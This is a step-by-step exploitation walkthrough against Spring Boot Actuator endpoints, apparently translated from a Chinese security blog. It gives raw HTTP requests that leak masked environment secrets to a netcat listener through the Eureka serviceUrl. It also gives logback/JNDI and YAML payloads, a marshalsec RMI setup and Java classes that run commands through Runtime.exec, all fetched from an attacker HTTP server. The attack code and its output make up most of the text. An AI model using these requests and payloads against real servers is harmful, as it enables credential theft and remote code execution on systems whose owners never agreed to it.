swagger-ui Interface

/swagger-ui.html

SpringBoot env: Obtaining Sensitive Information Masked with * (Part 1)

When we directly visit the springboot site, we can see that some password fields are filled with *

Plaintext fields can be obtained via ${name}
Misconfiguration leads to sensitive information disclosure (password is masked with asterisks, while pwd is not)

Reference https://mp.weixin.qq.com/s/HmGEYRcf1hSVw9Uu9XHGsA

Specific implementation process:

For example: we want to obtain the pid parameter value

"PID": "10648",

POST /env HTTP/1.1
Host: 10.20.24.191:8090
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 76

eureka.client.serviceUrl.defaultZone=http://${PID}@10.20.24.191:2444/

Then POST arbitrary content to /refresh to trigger the vulnerability

Note: Normally you need to wait about 3 seconds for a response packet. If it returns immediately, the service may be missing the spring-boot-starter-actuator extension package and cannot refresh the vulnerability, making it unexploitable

POST /refresh HTTP/1.1
Host: 10.20.24.191:8090
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 5

12312

When the server listens on port 2444 with nc, it receives:

root@kali:/tmp# nc -lvvp 2444
listening on [any] 2444 ...
connect to [10.20.24.191] from kali [10.20.24.191] 40960
GET /xstream/apps/ HTTP/1.1
Accept: application/json
DiscoveryIdentity-Name: DefaultClient
DiscoveryIdentity-Version: 1.4
DiscoveryIdentity-Id: 10.20.24.191
Accept-Encoding: gzip
Host: 10.20.24.191:2444
Connection: Keep-Alive
User-Agent: Java-EurekaClient/v1.4.11
Authorization: Basic MzgzNDY6bnVsbA==

Authorization: Basic MzgzNDY6bnVsbA==

Base64 decoding gives:

root@kali:/tmp# echo MzgzNDY6bnVsbA== |base64 -d
38346:null

This is the same as the pid information above

Similarly, to obtain the user.country parameter, the steps are the same

Result:

root@kali:/tmp# nc -lvvp 2555
listening on [any] 2555 ...
connect to [10.20.24.191] from kali [10.20.24.191] 38994
GET /xstream/apps/ HTTP/1.1
Accept: application/json
DiscoveryIdentity-Name: DefaultClient
DiscoveryIdentity-Version: 1.4
DiscoveryIdentity-Id: 10.20.24.191
Accept-Encoding: gzip
Host: 10.20.24.191:2555
Connection: Keep-Alive
User-Agent: Java-EurekaClient/v1.4.11
Authorization: Basic VVM6bnVsbA==

 sent 0, rcvd 310

Base64 decoding gives:

root@kali:/tmp# echo VVM6bnVsbA== |base64 -d
US:null

Scripting

Enter the parameter to query and the port nc listens on

Listen on the port, capture the specified header, and automatically base64-decode it

Note: If you are lucky enough to have Eureka-Client <1.8.7 in the target classpath (usually included in Spring Cloud Netflix), you can exploit the XStream deserialization vulnerability in it.

For example: User-Agent: Java-EurekaClient/v1.4.11

SpringBoot_Actuator JNDI RCE Vulnerability Reproduction (Part 2)

0x01 Environment Setup

git clone https://github.com/veracode-research/actuator-testbed

Start it

mvn install
or
mvn spring-boot:run

After compiling and running, we find that the listening IP address is 127.0.0.1, so it can only be accessed locally A quick Baidu search shows that changing it to 0.0.0.0 fixes it

Locate the key file

grep -r 'server.address' -n ./

./src/main/resources/application.properties:2:server.address=127.0.0.1
./target/classes/application.properties:2:server.address=127.0.0.1

Change it to:

server.port=8090
server.address=0.0.0.0

# vulnerable configuration set 0: spring boot 1.0 - 1.4
# all spring boot versions 1.0 - 1.4 expose actuators by default without any parameters
# no configuration required to expose them

# safe configuration set 0: spring boot 1.0 - 1.4
#management.security.enabled=true

# vulnerable configuration set 1: spring boot 1.5+
# spring boot 1.5+ requires management.security.enabled=false to expose sensitive actuators
#management.security.enabled=false

# safe configuration set 1: spring boot 1.5+
# when 'management.security.enabled=false' but all sensitive actuators explicitly disabled
#management.security.enabled=false

# vulnerable configuration set 2: spring boot 2+
#management.endpoints.web.exposure.include=*

0x02 Restart and Run

mvn spring-boot:run

/opt/jdk1.8.0_60//bin/java -classpath /opt/apache-maven-3.6.2/boot/plexus-classworlds-2.6.0.jar -Dclassworlds.conf=/opt/apache-maven-3.6.2/bin/m2.conf -Dmaven.home=/opt/apache-maven-3.6.2 -Dlibrary.jansi.path=/opt/apache-maven-3.6.2/lib/jansi-native -Dmaven.multiModuleProjectDirectory=/root/actuator/actuator-testbed org.codehaus.plexus.classworlds.launcher.Launcher spring-boot:run

Wait a moment

root@kali:~/actuator/actuator-testbed# netstat -ntpl |grep 8090
tcp6       0      0 :::8090                 :::*                    LISTEN      33666/java
root@kali:~/actuator/actuator-testbed#

http://10.20.24.191:8090/

http://10.20.24.191:8090/jolokia/list

Among them, reloadByURL can load a remote URL XML file

"ch.qos.logback.classic": {
"Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator": {
"op": {
"reloadByURL": {
"args": [
{
"name": "p1",
"type": "java.net.URL",
"desc": ""
}
],
"ret": "void",
"desc": "Operation exposed for management"
}

0x03 HTTP Server Hosting logback.xml and ExportObject.class

Contents of logback.xml

<configuration>
  <insertFromJNDI env-entry-name="rmi://10.20.24.191:1099/Exploit" as="appName" />
</configuration>

ExportObject.java

import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;

public class ExportObject {
   public ExportObject() throws Exception {
      Process var1 = Runtime.getRuntime().exec("touch /tmp/jas502n");
      InputStream var2 = var1.getInputStream();
      BufferedReader var3 = new BufferedReader(new InputStreamReader(var2));

      String var4;
      while((var4 = var3.readLine()) != null) {
         System.out.println(var4);
      }

      var1.waitFor();
      var2.close();
      var3.close();
      var1.destroy();
   }

   public static void main(String[] var0) throws Exception {
   }
}

0x04 Triggering RCE

Listen on the RMI port

root@kali:~/ldap_rmi# cat rmi.sh
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://10.20.24.191:8000/#ExportObject


root@kali:~/ldap_rmi# ./rmi.sh
* Opening JRMP listener on 1099
Have connection from /10.20.24.191:43878
Reading message...
Is RMI.lookup call for ExportObject 2
Sending remote classloading stub targeting http://10.20.24.191:8000/ExportObject.class
Closing connection

The browser accesses and loads the remote logback.xml file for parsing,

The server accesses the malicious JNDI address, leading to the execution of malicious bytecode

http://10.20.24.191:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/10.20.24.191:8000!/logback.xml

0x05 Command Execution Successful

root@kali:/var/www/html# ls /tmp/j*
/tmp/jas502n
root@kali:/var/www/html#

YML RCE Vulnerability Reproduction (Part 3)

Achieving RCE by modifying the spring.cloud.bootstrap.location property in the Spring environment is a more reliable method

This property is used to load external configuration and parse it in YAML format. To achieve this, you still need to POST arbitrary content to /refresh to trigger the vulnerability.

Contents of yaml_payload.yml

!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://10.20.24.191:8000/yaml_payload.jar"]
  ]]
]

0x00 Crafting yaml_payload.jar

Code https://github.com/artsploit/yaml-payload

Part of AwesomeScriptEngineFactory.java

import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.io.IOException;
import java.util.List;

public class AwesomeScriptEngineFactory implements ScriptEngineFactory {

    public AwesomeScriptEngineFactory() {
        try {
            Runtime.getRuntime().exec("touch /tmp/success");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

ymal_payload.jar\artsploit\AwesomeScriptEngineFactory.java

Contains the actual bytecode, with the malicious payload in the constructor.

ymal_payload.jar\services\javax.script.ScriptEngineFactory

Is just a text file containing a fully qualified reference to 'artsploit.AwesomeScriptEngineFactory', so that ServiceLoader knows where to find the class

Content: artsploit.AwesomeScriptEngineFactory

Place the jar file on the HTTP server

http://10.20.24.191:8090/ymal_payload.jar

0x01 Set spring.cloud.bootstrap.location

spring.cloud.bootstrap.location=http://10.20.24.191:8090/yaml_payload.yml

POST /env HTTP/1.1
Host: 10.20.24.191:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
X-Forwarded-For: 127.0.0.1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 73

spring.cloud.bootstrap.location=http://10.20.24.191:8000/yaml_payload.yml

0x02 POST Arbitrary Content to /refresh to Trigger the RCE Vulnerability

POST /refresh HTTP/1.1
Host: 10.20.24.191:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
X-Forwarded-For: 127.0.0.1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 5

12312

0x03 RCE Execution Successful

root@kali:/var/www/html# ls /tmp/succ*
/tmp/success
root@kali:/var/www/html#

Note: Compared with Eureka's XStream payload, the YAML method even works on the latest versions.

References

https://www.veracode.com/blog/research/exploiting-spring-boot-actuators

SpringBoot_Actuator_RCE

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